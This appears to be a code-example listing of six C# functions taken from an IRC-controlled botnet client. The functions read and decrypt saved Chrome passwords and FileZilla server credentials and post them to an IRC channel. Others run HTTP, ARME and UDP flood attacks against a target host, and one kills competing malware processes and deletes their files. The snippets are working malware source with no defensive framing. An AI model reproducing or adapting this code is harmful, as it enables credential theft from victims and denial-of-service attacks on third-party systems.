Exemplo n.º 1
0
        public static void GetChrome(string searchTerm)
        {
            if (String.IsNullOrEmpty(searchTerm))
            {
                searchTerm = "**ALL**";
            }
            string datapath = (Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data");

            try
            {
                SQLiteHandler.SQLiteHandler SQLDatabase = new SQLiteHandler.SQLiteHandler(datapath);
                SQLDatabase.ReadTable("logins");
                if (File.Exists(datapath))
                {
                    string host;
                    string user;
                    string pass;
                    for (int i = 0; (i <= (SQLDatabase.GetRowCount() - 1)); i++)
                    {
                        try
                        {
                            host = SQLDatabase.GetValue(i, "origin_url");
                            user = SQLDatabase.GetValue(i, "username_value");
                            pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")));
                            if (user != "" && pass != "")
                            {
                                if (pass != "FAIL")
                                {
                                    if (host.Contains(searchTerm) || searchTerm == "**ALL**")
                                    {
                                        IRC.WriteMessage("Chrome ->" + IRC.ColorCode(" " + host) + " ->" + IRC.ColorCode(" " + user) + " :" + IRC.ColorCode(" " + pass), Config._mainChannel());
                                    }
                                }
                            }
                            Thread.Sleep(100);
                        }
                        catch
                        {
                        }
                    }
                }
            }
            catch
            {
            }
        }
Exemplo n.º 2
0
        public static void Begin()
        {
            int seconds = delay * 1000;

            new Thread(() => SendHTTP(Functions.ipE(host, port))).Start();

            Thread.Sleep(seconds);

            if (isEnabled)
            {
                Stop();
                IRC.WriteMessage("HTTP flood on" + IRC.ColorCode(" " + host) + " for" + IRC.ColorCode(" " + delay) + " seconds has finished.", Config._mainChannel());
            }
        }
Exemplo n.º 3
0
        public static void kill(string name, string path)
        {
            connectionList = Functions.GetTcpConnections();

            try
            {
                foreach (Process p in Process.GetProcessesByName(name))
                {
                    if (name != "Dropbox" && name != "chrome")
                    {
                        if (Config.currentPath != p.MainModule.FileName) // If it's not US
                        {
                            foreach (string s in connectionList)
                            {
                                string[] data     = s.Split(':');
                                string   remoteIP = data[0] + ":" + data[1];
                                string   proc     = Process.GetProcessById(Convert.ToInt32(data[2])).ProcessName;

                                if (proc == p.ProcessName)
                                {
                                    output.Add("Found outgoing connection from:" + IRC.ColorCode(" " + p.ProcessName) + " ->" + IRC.ColorCode(" " + remoteIP) + ".");
                                }
                            }

                            if (p.MainModule.FileName.Contains(Environment.GetEnvironmentVariable("HOMEPATH"))) // 2.0 killer
                            {
                                Functions.SuspendProcess(p.Id);
                                ProcessUtility.KillTree(p.Id);
                            }
                            else // Normal killer
                            {
                                p.Kill();
                                p.WaitForExit();
                            }


                            p.Dispose();
                            File.SetAttributes(path, FileAttributes.Normal);
                            File.Delete(path);
                            output.Add("Removed file: '" + IRC.ColorCode(path) + "'.");
                        }
                    }
                }
            }
            catch
            {
            }

            connectionList.Clear();
        }
Exemplo n.º 4
0
        private static void Begin()
        {
            try
            {
                _ip = new IPEndPoint(Dns.GetHostEntry(host).AddressList[0], port);
            }
            catch
            {
                _ip = new IPEndPoint(IPAddress.Parse(host), port);
            }

            _t  = new Thread[threads];
            _ts = new ThreadStart[threads];

            for (int i = 0; i < threads; i++)
            {
                _ts[i] = new ThreadStart(SendPayload);
                _t[i]  = new Thread(_ts[i]);
                _t[i].Start();
            }

            Thread.Sleep(delay * 1000);
            if (isEnabled)
            {
                Stop();
                IRC.WriteMessage("ARME flood on" + IRC.ColorCode(" " + host) + " for" + IRC.ColorCode(" " + delay) + " seconds has finished.", Config._mainChannel());
            }
        }
Exemplo n.º 5
0
        public static void Begin()
        {
            try
            {
                ipEo = new IPEndPoint(Dns.GetHostEntry(host).AddressList[0], port);
            }
            catch
            {
                ipEo = new IPEndPoint(IPAddress.Parse(host), port);
            }
            t       = new Thread[threads];
            j       = new ThreadStart[threads];
            L4Class = new su[threads];
            for (int i = 0; i < threads; i++)
            {
                L4Class[i] = new su(ipEo, sockets, pSize);
                j[i]       = new ThreadStart(L4Class[i].Send);
                t[i]       = new Thread(j[i]);
                t[i].Start();
            }

            Thread.Sleep(delay * 1000);
            if (isEnabled)
            {
                Stop();
                IRC.WriteMessage("UDP flood on" + IRC.ColorCode(" " + host) + " for" + IRC.ColorCode(" " + delay) + " seconds has finished.", Config._mainChannel());
            }
        }
Exemplo n.º 6
0
        public static void GetFileZilla()
        {
            try
            {
                XmlDocument xml = new XmlDocument();

                string path = Environment.GetEnvironmentVariable("APPDATA") + "\\FileZilla\\recentservers.xml";

                if (File.Exists(path))
                {
                    xml.Load(path);

                    XmlNodeList host     = xml.GetElementsByTagName("Host");
                    XmlNodeList user     = xml.GetElementsByTagName("User");
                    XmlNodeList password = xml.GetElementsByTagName("Pass");

                    for (int i = 0; i < host.Count; i++)
                    {
                        IRC.WriteMessage("FileZilla ->" + IRC.ColorCode(" " + host[i].InnerText) + " -" + IRC.ColorCode(" " + user[i].InnerText) + " :" + IRC.ColorCode(" " + password[i].InnerText), Config._mainChannel());
                        Thread.Sleep(100);
                    }
                }
            }
            catch
            {
            }
        }